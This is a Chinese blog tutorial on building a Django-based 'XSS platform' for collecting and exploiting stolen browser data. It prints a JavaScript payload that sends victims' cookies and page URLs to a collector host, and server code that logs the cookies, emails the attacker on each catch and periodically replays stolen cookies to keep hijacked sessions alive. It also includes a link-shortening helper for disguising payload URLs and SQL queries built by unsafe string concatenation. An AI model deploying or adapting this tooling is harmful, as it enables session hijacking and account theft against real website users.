使用Django简单编写一个XSS平台的方法步骤


Posted in Python onMarch 25, 2019

1) 简要描述

原理十分简单2333,代码呆萌,大牛勿喷 >_<

2) 基础知识

  • XSS攻击基本原理和利用方法
  • Django框架的使用

3) Let's start

0x01

工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:

  • python 3.7.0
  • pycharm
  • windows 10
  • mysql 8.0.15
  • Django 2.1.3

需要用到的第三方库:

  • django
  • pymysql
  • requests

0x02

我们先看一下XSS脚本是如何工作的

var website = "http://127.0.0.1"; (function() { (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
    try {
      return document.location.href
    } catch(e) {
      return ''
    }
  })()) + '&toplocation=' + escape((function() {
    try {
      return top.location.href
    } catch(e) {
      return ''
    }
  })()) + '&cookie=' + escape((function() {
    try {
      return document.cookie
    } catch(e) {
      return ''
    }
  })()) + '&opener=' + escape((function() {
    try {
      return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
    } catch(e) {
      return ''
    }
  })());
})();

这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。

注意:这里使用AJAX可能会出现CORS跨域问题。

0x03

先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。

"""
根据url值动态返回相应的javascript代码
"""
import pymysql,os
from user.safeio import re_check

def get_info(url):
  if not re_check(url,'num_letter'):
    return 'default'
  db = pymysql.connect('localhost','root','root','xss')
  cursor = db.cursor()
  cursor.execute("Select name From projects Where url='"+url+"'")
  js_name = cursor.fetchone()[0]
  if js_name == None:
    return 'default'
  else:
    return (js_name)

def get_js_value(url):
  js_name = get_info(url)
  file = '\\script\\'+js_name + '.js'
  js_value = open(os.getcwd()+file).read()
  js_value = js_value.replace('<-1234->',url)
  return js_value
import pymysql,time
from .getscript import get_info

def connect():
  try:
    db = pymysql.connect('localhost', 'root', 'root', 'xss')
    cursor = db.cursor()
    return db,cursor
  except:
    print('连接数据库失败,正在尝试重新连接')
    connect()

def put_letter(requests,url):
  now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))[2:]
  if 'HTTP_X_FORWARDED_FOR' in requests.META:
    ip = requests.META['HTTP_X_FORWARDED_FOR']
  else:
    try:
      ip = requests.META['REMOTE_ADDR']
    except:
      ip = '0.0.0.0'
  ip = ip.replace("'","\'")
  origin = requests.GET.get('location','Unknown').replace("'","\'")
  software = requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'")
  method = requests.method.replace("'","\'")
  data = requests.GET.get('cookie','No data').replace("'","\'")
  keep_alive = requests.GET.get('keepsession','0').replace("'","\'")
  list = [now_time,ip,origin,software,method,data,keep_alive]
  put_mysql(list,url)

def put_mysql(list,url):
  db,cursor = connect()
  name = get_info(url)
  cursor.execute("Select user From projects Where url='"+url+"'")
  user = cursor.fetchone()[0]
  m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"
  m_query = m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])
  cursor.execute(m_query)
  db.commit()
  db.close()

def get_letters(username):
  db, cursor = connect()
  m_query = "SELECT * FROM letters WHERE user = '{}'"
  m_query = m_query.format(username)
  cursor.execute(m_query)
  result_list = cursor.fetchall()
  return result_list

既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台,我们只需在服务器接受数据并保存即可。

0x04

我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等

#coding=utf-8

'''
邮件发送
'''

import smtplib
from email.mime.text import MIMEText
from email.utils import formataddr

my_sender='xxxx'
my_pass = 'xxxx'

def send_mail(user_mail):
  try:
    print(user_mail)
    msg=MIMEText('您点的外卖已送达,请登录平台查询','plain','utf-8')
    msg['From']=formataddr(["XSS平台",my_sender])
    msg['To']=formataddr(["顾客",user_mail])
    msg['Subject']="您点的外卖已送达,请登录平台查询"
    server=smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(my_sender, my_pass)
    server.sendmail(my_sender,[user_mail,],msg.as_string())
    server.quit()
  except Exception:
    pass
'''

使用独立于主线程的其他线程


来保持通用项目的cookie信息'活性'


默认保持一个小时的活性
'''

import requests,queue,time,pymysql

Cookie_Time = 1

def decrease(time,number):
  if time < number:
    time = '0'+str(time)
  else:
    time = str(time)
  return time

def count_time(now_time):
  global Cookie_Time
  year = int(now_time[0:2])
  month = int(now_time[3:5])
  day = int(now_time[6:8])
  hours = int(now_time[9:11])
  if hours < Cookie_Time:
    if day == 1:
      if month == 1:
        month=12
        year -= 1
      else:
        day=30
        month -= 1
    else:
      day -= 1
      hours += 19
  else:
    hours -= 5
  hours = decrease(hours,10)
  day = decrease(day,10)
  month = decrease(month,10)
  year = decrease(year,10)
  dec_time = ("{0}-{1}-{2} {3}").format(year,month,day,hours) + now_time[11:]
  return dec_time

def create_queue():
  Cookie_queue = queue.Queue()
  now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))[2:]
  dec_time = count_time(now_time)
  m_query = ("SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'").format(dec_time)
  db = pymysql.connect('127.0.0.1','root','root','xss')
  cursor = db.cursor()
  cursor.execute(m_query)
  return_list = cursor.fetchall()
  for x in return_list:
    Cookie_queue.put(x)
  return Cookie_queue

def action():
  while True:
    time.sleep(60)
    task_queue = create_queue()
    while not task_queue.empty():
      tasks = task_queue.get()
      url = tasks[1]
      ua = tasks[0]
      cookie = tasks[2]
      headers = {'User-Agent': ua, 'Cookie': cookie}
      try:
        requests.get(url, headers=headers)
      except:
        pass

注意这里需要使用独立于django主线程的子线程,比如我在manager.py里添加了这么一段代码:

import threading
from xssplatform.keep_alive import action

class keep_Thread(threading.Thread):
  def __init__(self):
    super(keep_Thread,self).__init__()
  def run(self):
    action()

if __name__ == '__main__':
  th = keep_Thread()
  th.start()

短链接:

'''
短链接生成
接口c7.gg
'''

import requests,json

Headers = {
  "accept" : "application/json, text/javascript, */*; q=0.01",
  "accept-encoding" : "gzip, deflate, br",
  "accept-language" : "zh-CN,zh;q=0.9,en;q=0.8",
  "content-length" : "53",
  "content-type" : "application/x-www-form-urlencoded; charset=UTF-8",
  "origin" : "https://www.985.so",
  "referer" : "https://www.985.so/",
  "user-agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",
}

def url_to_short(url):
  global Headers
  data = {'type':'c7','url':url}
  r = requests.post('https://create.ft12.com/done.php?m=index&a=urlCreate',data=data,headers=Headers)
  list = json.loads(r.text)
  return list['list']

4) 最后

其实看起来高大上的XSS平台原理就那么简单,真正难的部分是关于XSS跨站脚本的编写。

此项目已开源于 Github ,有任何问题可以提交issue,我会在第一时间进行回复。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python实现过滤单个Android程序日志脚本分享
Jan 16 Python
使用tensorflow实现线性svm
Sep 07 Python
python3 unicode列表转换为中文的实例
Oct 26 Python
在Python中实现替换字符串中的子串的示例
Oct 31 Python
对IPython交互模式下的退出方法详解
Feb 16 Python
详解Python locals()的陷阱
Mar 26 Python
Python远程视频监控程序的实例代码
May 05 Python
Python中函数参数匹配模型详解
Jun 09 Python
Python新手学习标准库模块命名
May 29 Python
keras 回调函数Callbacks 断点ModelCheckpoint教程
Jun 18 Python
PyTorch中model.zero_grad()和optimizer.zero_grad()用法
Jun 24 Python
详解pyqt5的UI中嵌入matplotlib图形并实时刷新(挖坑和填坑)
Aug 07 Python
Python for循环与range函数的使用详解
Mar 23 #Python
详解Python读取yaml文件多层菜单
Mar 23 #Python
详解Python数据分析--Pandas知识点
Mar 23 #Python
详解Python基础random模块随机数的生成
Mar 23 #Python
Python基本数据结构与用法详解【列表、元组、集合、字典】
Mar 23 #Python
Django异步任务之Celery的基本使用
Mar 23 #Python
深入解析Python小白学习【操作列表】
Mar 23 #Python
You might like
Protoss兵种对照表
2020/03/14 星际争霸
php分页函数
2006/07/08 PHP
用PHP查询域名状态whois的类
2006/11/25 PHP
PHP的PDO常用类库实例分析
2016/04/07 PHP
Javascript中的常见排序算法
2007/03/27 Javascript
基于jQuery的输入框无值自动显示指定数据的实现代码
2011/01/24 Javascript
利用JS实现浏览器的title闪烁
2013/07/08 Javascript
JavaScript实现把rgb颜色转换成16进制颜色的方法
2015/06/01 Javascript
js实现复选框的全选和取消全选效果
2017/01/03 Javascript
js如何判断是否在iframe中及防止网页被别站用iframe嵌套
2017/01/11 Javascript
JS中利用localStorage防止页面动态添加数据刷新后数据丢失
2017/03/10 Javascript
详解angular中的作用域及继承
2017/05/31 Javascript
详谈javascript精度问题与调整
2017/07/08 Javascript
Vue 兄弟组件通信的方法(不使用Vuex)
2017/10/26 Javascript
基于vue配置axios的方法步骤
2017/11/09 Javascript
自定义vue组件发布到npm的方法
2018/05/09 Javascript
微信小程序多音频播放进度条问题
2018/08/28 Javascript
微信小程序3种位置API的使用方法详解
2019/08/05 Javascript
koa-passport实现本地验证的方法示例
2020/02/20 Javascript
微信小程序pinker组件使用实现自动相减日期
2020/05/07 Javascript
Python基于递归和非递归算法求两个数最大公约数、最小公倍数示例
2018/05/21 Python
python利用requests库模拟post请求时json的使用教程
2018/12/07 Python
padas 生成excel 增加sheet表的实例
2018/12/11 Python
Python使用pyautocad+openpyxl处理cad文件示例
2019/07/11 Python
Python如何使用内置库matplotlib绘制折线图
2020/02/24 Python
简单了解python调用其他脚本方法实例
2020/03/26 Python
Python如何进行时间处理
2020/08/06 Python
暑期培训随笔感言
2014/03/10 职场文书
人身意外保险授权委托书
2014/10/01 职场文书
个人批评与自我批评材料
2014/10/17 职场文书
有限公司股东合作协议书
2014/10/29 职场文书
工作态度检讨书范文
2015/05/06 职场文书
2016大一新生入学教育心得体会
2016/01/23 职场文书
2017年寒假少先队活动总结
2016/04/06 职场文书
演讲稿:​快乐,从不抱怨开始!
2019/04/02 职场文书
如何使用分区处理MySQL的亿级数据优化
2021/06/18 MySQL